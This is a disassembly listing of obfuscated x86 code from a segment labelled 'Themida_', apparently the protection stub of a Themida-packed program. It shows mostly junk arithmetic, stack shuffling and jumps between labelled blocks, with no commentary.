		sub	ebp, eax
		pop	eax
		xor	edx, ebp
		jmp	loc_5A13EE
; ---------------------------------------------------------------------------


loc_591004:				; CODE XREF: Themida_:00597B9Cj
		pop	eax
		add	eax, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	eax
		jmp	loc_5A20E0
; ---------------------------------------------------------------------------


loc_591017:				; CODE XREF: Themida_:005A19A0j
		mov	esi, [esp]
		push	ebx
		mov	ebx, esp
		push	edx
		mov	edx, 27B24577h
		sub	edx, 13343660h
		push	edx
		not	dword ptr [esp]
		pop	edx
		shl	edx, 4
		add	edx, 1
		xor	edx, 0B81F0E85h
		add	ebx, edx
		pop	edx
		add	ebx, 4
		jmp	loc_5A38FB
; ---------------------------------------------------------------------------


loc_591048:				; CODE XREF: Themida_:005A1EF1j
		mov	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	edx
		mov	edx, eax
		mov	edi, edx
		jmp	loc_599EE3
; ---------------------------------------------------------------------------


loc_59105D:				; CODE XREF: Themida_:005A05BEj
		sub	dword ptr [esp], 18FD3679h
		sub	[esp], edx
		add	dword ptr [esp], 18FD3679h
		pop	edx
		xchg	ecx, edx
		jmp	loc_59ABCD
; ---------------------------------------------------------------------------


loc_591076:				; CODE XREF: Themida_:00595B4Fj
		push	2286h
		mov	[esp], edx
		mov	edx, 2
		jmp	loc_592C3D
; ---------------------------------------------------------------------------


loc_591088:				; CODE XREF: Themida_:00593112j
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_59108D:				; CODE XREF: Themida_:0059D4E3j
		mov	dx, [esp]
		jmp	loc_59A054
; ---------------------------------------------------------------------------


loc_591096:				; CODE XREF: Themida_:0059A2C7j
		pop	esi
		add	esi, 65885E65h
		push	esi
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5910BD
; ---------------------------------------------------------------------------


loc_5910AF:				; CODE XREF: Themida_:005A1588j
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_5A42F5
; ---------------------------------------------------------------------------


loc_5910BD:				; CODE XREF: Themida_:005910AAj
		add	esp, 4
		push	dword ptr [esp]
		pop	esi
		jmp	loc_59B7CF
; ---------------------------------------------------------------------------


loc_5910C9:				; CODE XREF: Themida_:0059542Ej
		neg	edi
		sub	edi, 47BD50C5h
		add	edx, 4BBF307Fh
		sub	edx, edi
		sub	edx, 4BBF307Fh
		jmp	loc_5A4DAD
; ---------------------------------------------------------------------------


loc_5910E4:				; CODE XREF: Themida_:00597CF6j
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_5A33A8
; ---------------------------------------------------------------------------


loc_5910F4:				; CODE XREF: Themida_:005988E7j
		shl	edi, 6
		jmp	loc_590B87
; ---------------------------------------------------------------------------


loc_5910FC:				; CODE XREF: Themida_:00597B2Bj
		mov	edi, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 12212F3Fh
		push	ecx
		mov	ecx, 44260E3Ah
		and	ebx, ecx
		jmp	loc_5A4E6F
; ---------------------------------------------------------------------------


loc_591115:				; CODE XREF: Themida_:0059C3ADj
		inc	ah
		jmp	loc_59E27A
; ---------------------------------------------------------------------------


loc_59111C:				; CODE XREF: Themida_:005A3AC3j
		mov	ebx, 699A7081h
		jmp	loc_595BA1
; ---------------------------------------------------------------------------


loc_591126:				; CODE XREF: Themida_:005A2E90j
		pop	edi
		jmp	loc_59C54E
; ---------------------------------------------------------------------------


loc_59112C:				; CODE XREF: Themida_:00591836j
		not	ebx
		sub	ebx, 61B45A97h
		and	ebx, 6CE36BE2h
		or	ebx, 0B9F6320h
		xchg	esi, ebx
		jmp	loc_5985E0
; ---------------------------------------------------------------------------


loc_591147:				; CODE XREF: Themida_:0059D3EAj
		mov	edi, esp
		add	edi, 4
		jmp	loc_598E03
; ---------------------------------------------------------------------------


loc_591154:				; CODE XREF: Themida_:00594EAAj
		pop	ecx
		xor	eax, ebp
		pop	ebp
		push	3901h
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_593E7A
; ---------------------------------------------------------------------------


loc_59116B:				; CODE XREF: Themida_:005A478Bj
		pop	esp


loc_59116C:				; CODE XREF: Themida_:005A353Aj
		push	esi
		push	ebx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 111F49F3h
		jmp	loc_593D40
; ---------------------------------------------------------------------------


loc_59117E:				; CODE XREF: Themida_:005960E3j
		sub	di, ax
		pop	eax
		push	0AAEh
		mov	[esp], edx
		push	ebp
		jmp	loc_5967A4
; ---------------------------------------------------------------------------


loc_591190:				; CODE XREF: Themida_:005A10D2j
		pop	ecx
		mov	ebp, edi
		push	dword ptr [esp]
		pop	edi
		jmp	loc_59901D
; ---------------------------------------------------------------------------


loc_59119C:				; CODE XREF: Themida_:0059C0B2j
		add	esp, 4
		neg	edx
		xor	edx, 902AD463h
		sub	ecx, 5D6355E5h
		jmp	loc_596E68
; ---------------------------------------------------------------------------


loc_5911B2:				; CODE XREF: Themida_:0059D297j
		mov	ebp, [esp]
		jmp	loc_592B6B
; ---------------------------------------------------------------------------


loc_5911BA:				; CODE XREF: Themida_:0059DBBFj
		push	edi
		mov	edi, 8FF1429h
		shl	edi, 5
		and	edi, 7CE4358Fh
		sub	edi, 579D3629h
		neg	edi
		push	edx
		mov	edx, 58892DCBh
		xor	edi, edx
		pop	edx
		sub	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		mov	eax, [ebx]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_5990C1
; ---------------------------------------------------------------------------


loc_5911F0:				; CODE XREF: Themida_:005A3622j
		mov	ebx, 2A6F2393h
		not	ebx
		push	edi
		mov	edi, 59145BA9h
		and	edi, 0D7E2792h
		add	edi, 215B2018h
		add	ebx, 668C3750h
		add	ebx, edi
		sub	ebx, 668C3750h
		pop	edi
		add	ebp, ebx
		pop	ebx
		jmp	loc_594F2A
; ---------------------------------------------------------------------------


loc_591220:				; CODE XREF: Themida_:00594477j
		mov	ecx, 0B594D27h
		or	edx, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		shr	edx, 6
		jmp	loc_59470A
; ---------------------------------------------------------------------------


loc_591239:				; CODE XREF: Themida_:0059EBCFj
		push	esp
		pop	ecx
		jmp	loc_5A4ECD
; ---------------------------------------------------------------------------


loc_591240:				; CODE XREF: Themida_:005A4045j
		push	ebp
		mov	ebp, 64E43870h
		sub	ebp, 16434162h
		jmp	loc_59B2EE
; ---------------------------------------------------------------------------


loc_591251:				; CODE XREF: Themida_:00595085j
		push	6314h
		jmp	loc_59E901
; ---------------------------------------------------------------------------


loc_59125B:				; CODE XREF: Themida_:00597A13j
		add	eax, 4
		push	esi
		mov	esi, 4
		sub	eax, 3CE37E3Eh
		add	eax, 75FC3882h
		sub	eax, esi
		sub	eax, 75FC3882h
		jmp	loc_5A3F4B
; ---------------------------------------------------------------------------


loc_59127C:				; CODE XREF: Themida_:0059A555j
		pop	ecx
		jmp	loc_5A1FBD
; ---------------------------------------------------------------------------


loc_591282:				; CODE XREF: Themida_:00595A83j
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		idiv	cx
		push	small 75A5h
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_59129F:				; CODE XREF: Themida_:0059B454j
		xchg	esi, [esp]
		pop	esp
		and	eax, edx
		pop	edx
		or	edx, eax
		shl	edx, 1
		push	ebx
		mov	ebx, 1
		push	edx
		push	ebx
		jmp	loc_5A4616
; ---------------------------------------------------------------------------


loc_5912B7:				; CODE XREF: Themida_:0059B8A5j
		add	ecx, ebx
		pop	ebx
		sub	ecx, 4F930F67h
		add	ecx, ebp
		add	ecx, 4F930F67h
		sub	ecx, 35922B3Ah
		pop	ebp
		sub	ecx, 4
		jmp	loc_598F0D
; ---------------------------------------------------------------------------


loc_5912DA:				; CODE XREF: Themida_:00592438j
		push	esi
		mov	esi, 4
		push	esi
		pop	ecx
		pop	esi
		add	[esp+4], ecx
		mov	ecx, [esp]
		add	esp, 4
		mov	ebx, [esp]
		push	35A0h
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_59B737
; ---------------------------------------------------------------------------


loc_591302:				; CODE XREF: Themida_:00594997j
		add	esi, 3A45659Eh
		add	esi, eax
		sub	esi, 3A45659Eh
		pop	eax
		jmp	loc_59DE14
; ---------------------------------------------------------------------------


loc_591316:				; CODE XREF: Themida_:0059619Aj
		or	esi, ebp
		pop	ebp
		xor	esi, 649F5AA0h
		add	edi, esi
		pop	esi
		mov	eax, edi
		pop	edi
		push	ebp
		mov	ebp, 522C5CBCh
		jmp	loc_5A48E1
; ---------------------------------------------------------------------------


loc_591330:				; CODE XREF: Themida_:0059EA47j
		mov	[esp], ecx
		mov	ecx, 198A2CA7h
		mov	eax, 58D05475h
		jmp	loc_599925
; ---------------------------------------------------------------------------


loc_591342:				; CODE XREF: Themida_:0059B114j
		sub	ebx, 12D517D5h
		push	esi
		jmp	loc_5A42A7
; ---------------------------------------------------------------------------


loc_59134E:				; CODE XREF: Themida_:00593FA3j
		push	629Fh
		mov	[esp], eax
		push	edx
		mov	edx, 27F41E9Ah
		or	edx, 2F4D703Fh
		jmp	loc_59B614
; ---------------------------------------------------------------------------


loc_591367:				; CODE XREF: Themida_:005A40DFj
		or	edx, 6FE301D4h
		dec	edx
		dec	edx
		push	ecx
		mov	ecx, 66F957F6h
		add	ecx, 3043744Bh
		or	ecx, 4C9A74C1h
		jmp	loc_5A0932
; ---------------------------------------------------------------------------


loc_591386:				; CODE XREF: Themida_:005918B3j
		add	esp, 4
		push	ebx
		jmp	loc_597648
; ---------------------------------------------------------------------------


loc_59138F:				; CODE XREF: Themida_:00599E58j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	esp, 4
		sub	dword ptr [esp], 4B56045Fh
		jmp	loc_592A8A
; ---------------------------------------------------------------------------


loc_5913AD:				; CODE XREF: Themida_:0059B769j
		shr	edx, 4
		sub	edx, 1
		add	edx, 4D354F26h
		add	edx, 0AD5A7C1Ah
		jmp	loc_59C520
; ---------------------------------------------------------------------------


loc_5913C4:				; CODE XREF: Themida_:00590BCDj
		pop	ecx
		add	esp, 4
		jmp	loc_590344
; ---------------------------------------------------------------------------


loc_5913D0:				; CODE XREF: Themida_:005A30CBj
		xor	ebp, edx
		pop	edx
		add	eax, ebp
		pop	ebp
		add	eax, 2
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5972F9
; ---------------------------------------------------------------------------


loc_5913EA:				; CODE XREF: Themida_:005991A0j
		pop	ebp
		shr	ebp, 8
		add	ebp, 5EE31AFDh
		jmp	loc_599D49
; ---------------------------------------------------------------------------


loc_5913F9:				; CODE XREF: Themida_:0059A1AEj
		sub	edx, 46526DB7h
		jmp	loc_599361
; ---------------------------------------------------------------------------


loc_591404:				; CODE XREF: Themida_:005A283Cj
		mov	[esp], ecx
		mov	ch, 0AEh
		shl	ch, 1
		xor	ch, 30h
		or	ch, 0B3h
		sub	ch, 0C9h
		jmp	loc_5A5730
; ---------------------------------------------------------------------------


loc_591419:				; CODE XREF: Themida_:00596300j
		add	edi, 44923663h
		xor	edi, 0A10C5D4Ah
		xor	ebx, edi
		pop	edi
		mov	edi, ebx
		pop	ebx
		xor	edi, 73E97A08h
		jmp	loc_59BE2B
; ---------------------------------------------------------------------------


loc_591436:				; CODE XREF: Themida_:0059030Fj
		add	ebp, edi
		add	ebp, 603948CAh
		mov	edi, [esp]
		add	esp, 4
		push	7028h
		mov	[esp], ebx
		push	55ABh
		mov	[esp], esi
		push	eax
		mov	eax, 7AB639CBh
		and	eax, 5AC95738h
		add	eax, 0FFFFFFFFh
		shl	eax, 8
		inc	eax
		sub	eax, 0FFFFFFFFh
		xor	eax, 80110700h
		push	eax
		mov	esi, [esp]
		add	esp, 4
		pop	eax
		push	esi
		add	dword ptr [esp], 4A4D3246h
		pop	ebx
		jmp	loc_5A4CC8
; ---------------------------------------------------------------------------


loc_591489:				; CODE XREF: Themida_:00593D16j
		xor	[esp], ecx
		jmp	loc_5A140E
; ---------------------------------------------------------------------------


loc_591491:				; CODE XREF: Themida_:00593054j
		mov	[esp], ebp
		push	7DA9670Ah
		pop	ebp
		push	ecx
		push	edx
		mov	edx, 7DA96708h
		mov	ecx, edx
		jmp	loc_5A476D
; ---------------------------------------------------------------------------


loc_5914A8:				; CODE XREF: Themida_:00599D39j
		pop	edi
		push	eax
		mov	eax, 532B223Eh
		xor	eax, 7B1E1A53h
		push	2FB3h
		mov	[esp], ecx
		push	ebp
		mov	ebp, 15C02264h
		add	ebp, 779948C3h
		shr	ebp, 8
		shr	ebp, 6
		sub	ebp, 929D0F57h
		push	edx
		mov	edx, ebp
		push	ebx
		mov	ebx, edx
		mov	ecx, ebx
		pop	ebx
		pop	edx
		pop	ebp
		xor	ecx, 1AAF7732h
		sub	ecx, 5170C3Ah
		jmp	loc_59D404
; ---------------------------------------------------------------------------


loc_5914F0:				; CODE XREF: Themida_:005A56CBj
		mov	edx, 6B0051E6h
		push	edi
		mov	edi, 1E803733h
		dec	edi
		jmp	loc_590F8C
; ---------------------------------------------------------------------------


loc_591501:				; CODE XREF: Themida_:0059A1A1j
		mov	esp, [esp]
		push	dword ptr [eax]
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_59150B:				; CODE XREF: Themida_:005A278Dj
		mov	ah, 33h
		jmp	loc_598587
; ---------------------------------------------------------------------------


loc_591512:				; CODE XREF: Themida_:00594F20j
		pop	edx
		mov	eax, edx
		jmp	loc_5948B0
; ---------------------------------------------------------------------------


loc_59151A:				; CODE XREF: Themida_:0059FC23j
		mov	esp, [esp]
		shl	dword ptr [esp], cl
		pushf
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_591526:				; CODE XREF: Themida_:005A444Bj
		xor	ecx, 51591704h
		mov	edi, ecx
		jmp	loc_5952BF
; ---------------------------------------------------------------------------


loc_591533:				; CODE XREF: Themida_:0059A9B2j
		add	esp, 4
		jmp	loc_5A17CB
; ---------------------------------------------------------------------------


loc_59153E:				; CODE XREF: Themida_:0059C6E3j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_59D2F9
; ---------------------------------------------------------------------------


loc_59154A:				; CODE XREF: Themida_:00594F4Dj
		add	esp, 4
		shl	esi, 3
		sub	esi, 58F9FF3Dh
		add	ecx, 44E3D3Bh
		jmp	loc_59F988
; ---------------------------------------------------------------------------


loc_591564:				; CODE XREF: Themida_:005A0D97j
		mov	bl, 39h
		xor	ch, bl
		pop	ebx
		and	dh, ch
		pop	ecx
		xor	dh, 0E2h
		push	eax
		mov	ah, 21h
		not	ah
		add	ah, 73h
		xor	dh, ah
		pop	eax
		sub	cl, 0ECh
		add	cl, dh
		jmp	loc_596098
; ---------------------------------------------------------------------------


loc_591584:				; CODE XREF: Themida_:005A2796j
		push	edx
		push	esp
		pop	edx
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		jmp	loc_5926E8
; ---------------------------------------------------------------------------


loc_591594:				; CODE XREF: Themida_:00599F74j
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		jmp	loc_595508
; ---------------------------------------------------------------------------


loc_5915A3:				; CODE XREF: Themida_:0059FB0Dj
		pop	edx
		sub	edi, 2F1516ABh
		sub	esp, 4
		mov	[esp], edx
		push	346A20C1h
		pop	edx
		inc	edx
		add	edx, 333626D2h
		sub	edi, 7D290F43h
		sub	edi, edx
		add	edi, 7D290F43h
		jmp	loc_59FEEF
; ---------------------------------------------------------------------------


loc_5915D0:				; CODE XREF: Themida_:005A02B5j
		neg	ecx
		neg	ecx
		add	ecx, 2DFD54C0h
		not	ecx
		xor	ecx, 0B6593D7Eh
		push	eax
		mov	eax, ecx
		mov	ebp, eax
		pop	eax
		pop	ecx
		add	ecx, ebp
		jmp	loc_592F93
; ---------------------------------------------------------------------------


loc_5915F0:				; CODE XREF: Themida_:005A249Bj
		add	edi, 63D064B9h
		add	edi, 2B340D6h
		add	edi, edx
		jmp	loc_59FFC0
; ---------------------------------------------------------------------------


loc_591603:				; CODE XREF: Themida_:0059FF79j
		add	edi, 0D25CCCD1h
		add	esi, edi
		jmp	loc_598FC1
; ---------------------------------------------------------------------------


loc_591610:				; CODE XREF: Themida_:0059FDD2j
		push	eax
		mov	eax, esp
		jmp	loc_597A5A
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_59074F
; ---------------------------------------------------------------------------


loc_591623:				; CODE XREF: Themida_:00595616j
		pop	esp
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	edx
		jmp	loc_599CE1
; ---------------------------------------------------------------------------


loc_591632:				; CODE XREF: Themida_:00594117j
		add	esp, 4
		push	edx
		mov	edx, 3A57792Bh
		shr	edx, 7
		sub	edx, 536346C0h
		neg	edx
		inc	edx
		sub	edx, 1
		xor	edx, 52EE97CCh
		jmp	loc_591F5C
; ---------------------------------------------------------------------------
		pop	dword ptr [edi+40h]
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_591663:				; CODE XREF: Themida_:00598F63j
		not	ebx
		inc	ebx
		xor	ebx, 0FF62A5E7h
		jmp	loc_59D867
; ---------------------------------------------------------------------------


loc_591671:				; CODE XREF: Themida_:005923E2j
		sub	eax, 2B917E7Fh
		mov	esi, [esp]
		add	esp, 4
		push	esi
		push	ebp
		mov	ebp, 7B1A3EFAh
		mov	esi, 0A53555E9h
		jmp	loc_5A29C5
; ---------------------------------------------------------------------------


loc_591690:				; CODE XREF: Themida_:0059A063j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_59B855
; ---------------------------------------------------------------------------


loc_5916A9:				; CODE XREF: Themida_:005A2178j
		add	ebp, 4
		push	ebx
		mov	ebx, 4
		sub	ebp, ebx
		pop	ebx
		jmp	loc_59E607
; ---------------------------------------------------------------------------


loc_5916BD:				; CODE XREF: Themida_:0059804Cj
		mov	edx, [esp]
		add	esp, 4
		mov	ebx, [esp]
		push	ebx
		push	esp
		pop	ebx
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	edx
		mov	edx, 4
		jmp	loc_597014
; ---------------------------------------------------------------------------


loc_5916E5:				; CODE XREF: Themida_:005A4C3Ej
		sub	esp, 4
		jmp	loc_59AD17
; ---------------------------------------------------------------------------


loc_5916F0:				; CODE XREF: Themida_:0059737Dj
		push	edx
		mov	edx, 141B0A3Ch
		mov	esi, edx
		pop	edx
		xor	edx, esi
		pop	esi
		sub	edx, 234B072Eh
		jmp	loc_5A0588
; ---------------------------------------------------------------------------


loc_591707:				; CODE XREF: Themida_:0059AC15j
		mov	eax, [esp]
		jmp	loc_59D792
; ---------------------------------------------------------------------------


loc_59170F:				; CODE XREF: Themida_:00592CC0j
		push	esi
		jmp	loc_5A2572
; ---------------------------------------------------------------------------


loc_591715:				; CODE XREF: Themida_:0059D18Dj
		push	eax
		mov	eax, esp
		push	esi
		mov	esi, 4
		sub	eax, 0CB0E7Bh
		add	eax, esi
		push	ecx
		push	edx
		mov	edx, 4E2227Ah
		mov	ecx, 149C0E02h
		xor	ecx, edx
		pop	edx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 50642CA3h
		add	edx, 431D3AE4h
		push	ebx
		mov	ebx, 72FC3C86h
		jmp	loc_59368A
; ---------------------------------------------------------------------------


loc_591750:				; CODE XREF: Themida_:0059C162j
		push	ebx
		mov	ebx, 220802B6h
		or	ebx, 61B77FE2h
		shl	ebx, 3
		jmp	loc_5980EB
; ---------------------------------------------------------------------------


loc_591764:				; CODE XREF: Themida_:005990DDj
		mov	[esp], ecx
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_59176C:				; CODE XREF: Themida_:00597DDCj
		xor	dh, 69h
		xor	al, dh
		pop	dx
		sub	esp, 4
		mov	[esp], ecx
		push	ebx
		push	edx
		push	eax
		mov	ah, 2Eh
		or	ah, 0B9h
		sub	ah, 1Fh
		jmp	loc_593A13
; ---------------------------------------------------------------------------


loc_59178C:				; CODE XREF: Themida_:005A3C7Cj
		neg	esi
		push	esi
		not	dword ptr [esp]
		jmp	loc_59DB59
; ---------------------------------------------------------------------------


loc_591797:				; CODE XREF: Themida_:005A098Fj
		dec	eax
		or	eax, 71C22171h
		not	eax
		add	eax, 19C44774h
		add	eax, 86988D76h
		jmp	loc_59479B
; ---------------------------------------------------------------------------


loc_5917AE:				; CODE XREF: Themida_:0059B847j
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 15B27A33h
		push	eax
		push	8886D73h
		jmp	loc_5994FB
; ---------------------------------------------------------------------------


loc_5917C7:				; CODE XREF: Themida_:00593742j
		push	edi
		mov	edi, 17B72655h
		jmp	loc_594521
; ---------------------------------------------------------------------------


loc_5917D2:				; CODE XREF: Themida_:0059D254j
		add	cl, bh
		jmp	loc_5A2C8D
; ---------------------------------------------------------------------------


loc_5917D9:				; CODE XREF: Themida_:005A09D1j
		pop	ecx
		sub	ebx, edx
		pop	edx
		sub	ebx, eax
		push	esi
		mov	esi, 7CFE367Fh
		sub	ebx, 1A8004B6h
		add	ebx, esi
		add	ebx, 1A8004B6h
		pop	esi
		movzx	ax, byte ptr [eax]
		push	54C2h
		jmp	loc_5A4143
; ---------------------------------------------------------------------------


loc_591802:				; CODE XREF: Themida_:005933F7j
		push	ecx
		mov	ecx, 60724728h
		sub	ecx, 0FFFFFFFFh
		jmp	loc_59F15C
; ---------------------------------------------------------------------------


loc_591813:				; CODE XREF: Themida_:005A4D15j
		push	0
		sub	[esp], edx
		pop	edx
		jmp	loc_597B8E
; ---------------------------------------------------------------------------


loc_591821:				; CODE XREF: Themida_:005A4D77j
		pop	ecx
		jmp	loc_59F741
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_59739F
; ---------------------------------------------------------------------------


loc_59182F:				; CODE XREF: Themida_:005A24B0j
		push	ebx
		mov	ebx, 497601B8h
		dec	ebx
		jmp	loc_59112C
; ---------------------------------------------------------------------------


loc_59183B:				; CODE XREF: Themida_:005939E6j
		mov	cl, 9Eh
		sub	bl, 0Eh
		add	bl, cl
		add	bl, 0Eh
		jmp	loc_595335
; ---------------------------------------------------------------------------


loc_59184A:				; CODE XREF: Themida_:00592198j
		pop	ebx
		pop	eax
		mov	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		mov	esi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	edx
		mov	edx, 4
		add	esi, edx
		pop	edx
		xchg	esi, [esp]
		jmp	loc_598651
; ---------------------------------------------------------------------------


loc_591871:				; CODE XREF: Themida_:005A2BA6j
		mov	esi, 34437CC4h
		sub	esi, 5B72BC1h
		sub	esi, 6C3273BDh
		jmp	loc_59F4C7
; ---------------------------------------------------------------------------


loc_591887:				; CODE XREF: Themida_:0059E698j
		add	ebx, eax
		jmp	loc_591FAB
; ---------------------------------------------------------------------------


loc_59188E:				; CODE XREF: Themida_:005944F3j
		pop	ecx
		mov	eax, esi
		jmp	loc_597171
; ---------------------------------------------------------------------------


loc_591896:				; CODE XREF: Themida_:00597E65j
		push	eax
		mov	eax, esp
		push	edx
		mov	edx, 2DA6494Ah
		add	edx, 0D259B6BAh
		add	eax, edx
		pop	edx
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_591386
; ---------------------------------------------------------------------------


loc_5918B8:				; CODE XREF: Themida_:005A0F1Aj
		pop	ebp
		not	ebx
		inc	ebx
		shr	ebx, 7
		jmp	loc_59C7F3
; ---------------------------------------------------------------------------


loc_5918C4:				; CODE XREF: Themida_:0059FC1Bj
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		push	ebp
		mov	ebp, 4
		push	ebp
		mov	ebp, 485E6808h
		jmp	loc_59BF73
; ---------------------------------------------------------------------------


loc_5918DD:				; CODE XREF: Themida_:00599AFCj
		add	esp, 4
		mov	ebp, [esp]
		add	esp, 4
		mov	edx, esi
		pop	esi
		and	eax, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		jmp	loc_59E646
; ---------------------------------------------------------------------------


loc_591909:				; CODE XREF: Themida_:0059C508j
		shr	edx, 1
		add	edx, 0D7218D12h
		mov	esi, edx
		pop	edx
		push	ebp
		jmp	loc_59A685
; ---------------------------------------------------------------------------


loc_59191A:				; CODE XREF: Themida_:00593CF5j
		mov	ch, 9Fh
		dec	ch
		add	ch, 21h
		mov	dl, ch
		jmp	loc_59DEB0
; ---------------------------------------------------------------------------


loc_591928:				; CODE XREF: Themida_:00592361j
		mov	[esp], edx
		mov	edx, 45C87F74h
		push	edx
		add	dword ptr [esp], 762D67BFh
		pop	edi
		sub	edi, 762D67BFh
		pop	edx
		dec	edi
		push	eax
		mov	eax, 48AD07C1h
		jmp	loc_596D19
; ---------------------------------------------------------------------------


loc_59194C:				; CODE XREF: Themida_:005979ECj
		sub	al, dl
		push	ecx
		jmp	loc_590766
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	edi
		push	esp
		push	dword ptr [esp]
		pop	edi
		jmp	loc_59BB55
; ---------------------------------------------------------------------------


loc_591968:				; CODE XREF: Themida_:0059724Ej
		sub	esi, 4
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_5A4474
; ---------------------------------------------------------------------------


loc_591975:				; CODE XREF: Themida_:0059CD89j
		mov	ebx, 55B90401h
		add	edx, ebx
		pop	ebx
		sub	edx, 2DD59F7h
		add	edx, 87A04868h
		mov	eax, edx
		pop	edx
		mov	ecx, eax
		pop	eax
		and	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 0E0C4B1Fh
		sub	esi, ecx
		jmp	loc_5A0F39
; ---------------------------------------------------------------------------


loc_5919A7:				; CODE XREF: Themida_:005A518Dj
		not	dx
		jmp	loc_596424
; ---------------------------------------------------------------------------


loc_5919AF:				; CODE XREF: Themida_:0059D9ACj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_5909EA
; ---------------------------------------------------------------------------


loc_5919C7:				; CODE XREF: Themida_:00591C49j
		sub	esp, 4
		mov	[esp], esi
		push	15A76EBh
		mov	esi, [esp]
		add	esp, 4
		xchg	ebx, esi
		add	ebx, 1
		xchg	ebx, esi
		jmp	loc_5951E2
; ---------------------------------------------------------------------------


loc_5919E4:				; CODE XREF: Themida_:00595AA5j
		mov	esp, [esp]
		mov	ax, [esp]
		jmp	loc_5A5737
; ---------------------------------------------------------------------------


loc_5919F0:				; CODE XREF: Themida_:00598017j
		push	6823h
		mov	[esp], esp
		push	edi
		mov	edi, 4
		add	dword ptr [esp+4], 52CD2DF1h
		add	[esp+4], edi
		jmp	loc_59C82F
; ---------------------------------------------------------------------------


loc_591A0F:				; CODE XREF: Themida_:0059D104j
		mov	edi, 25F237CBh
		jmp	loc_59D109
; ---------------------------------------------------------------------------


loc_591A19:				; CODE XREF: Themida_:0059830Bj
					; Themida_:0059A887j
		sub	esp, 4
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], ebx
		push	40FE7351h
		pop	ebx
		push	ecx
		push	ebp
		jmp	loc_598CC7
; ---------------------------------------------------------------------------


loc_591A35:				; CODE XREF: Themida_:00598D57j
		mov	eax, 4
		add	ebx, eax
		jmp	loc_59F026
; ---------------------------------------------------------------------------


loc_591A41:				; CODE XREF: Themida_:00593234j
		push	ecx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_59AA87
; ---------------------------------------------------------------------------


loc_591A56:				; CODE XREF: Themida_:00595FCDj
		add	edi, 563A516Eh
		sub	edi, 2615191Ah
		mov	ebx, edi
		pop	edi
		add	ebp, 196D0062h
		jmp	loc_59C940
; ---------------------------------------------------------------------------


loc_591A70:				; CODE XREF: Themida_:005968E8j
		mov	ecx, 0D662F54h
		jmp	loc_59EAFC
; ---------------------------------------------------------------------------


loc_591A7A:				; CODE XREF: Themida_:005A2DD6j
		push	eax
		jmp	loc_596004
; ---------------------------------------------------------------------------


loc_591A80:				; CODE XREF: Themida_:005994AAj
		mov	ebx, 331C3BECh
		sub	ecx, ebx
		pop	ebx
		push	eax
		mov	eax, 1A3073E5h
		xor	eax, 266D4838h
		shl	eax, 8
		and	eax, 10A00A78h
		sub	eax, 313A4419h
		xor	eax, 0D98ED56Eh
		xor	ecx, eax
		pop	eax
		jmp	loc_596D97
; ---------------------------------------------------------------------------


loc_591AAD:				; CODE XREF: Themida_:005A4FB4j
		and	eax, 42120EF4h
		jmp	loc_595296
; ---------------------------------------------------------------------------


loc_591AB7:				; CODE XREF: Themida_:0059503Bj
		mov	ecx, 27657589h
		inc	ecx
		add	ecx, 0D89A8A7Ah
		add	edi, ecx
		push	dword ptr [esp]
		jmp	loc_599C18
; ---------------------------------------------------------------------------


loc_591ACD:				; CODE XREF: Themida_:0059558Dj
		pop	eax
		mov	edi, [esp]
		jmp	loc_5940B0
; ---------------------------------------------------------------------------


loc_591AD6:				; CODE XREF: Themida_:005937B7j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_59A1B3
; ---------------------------------------------------------------------------


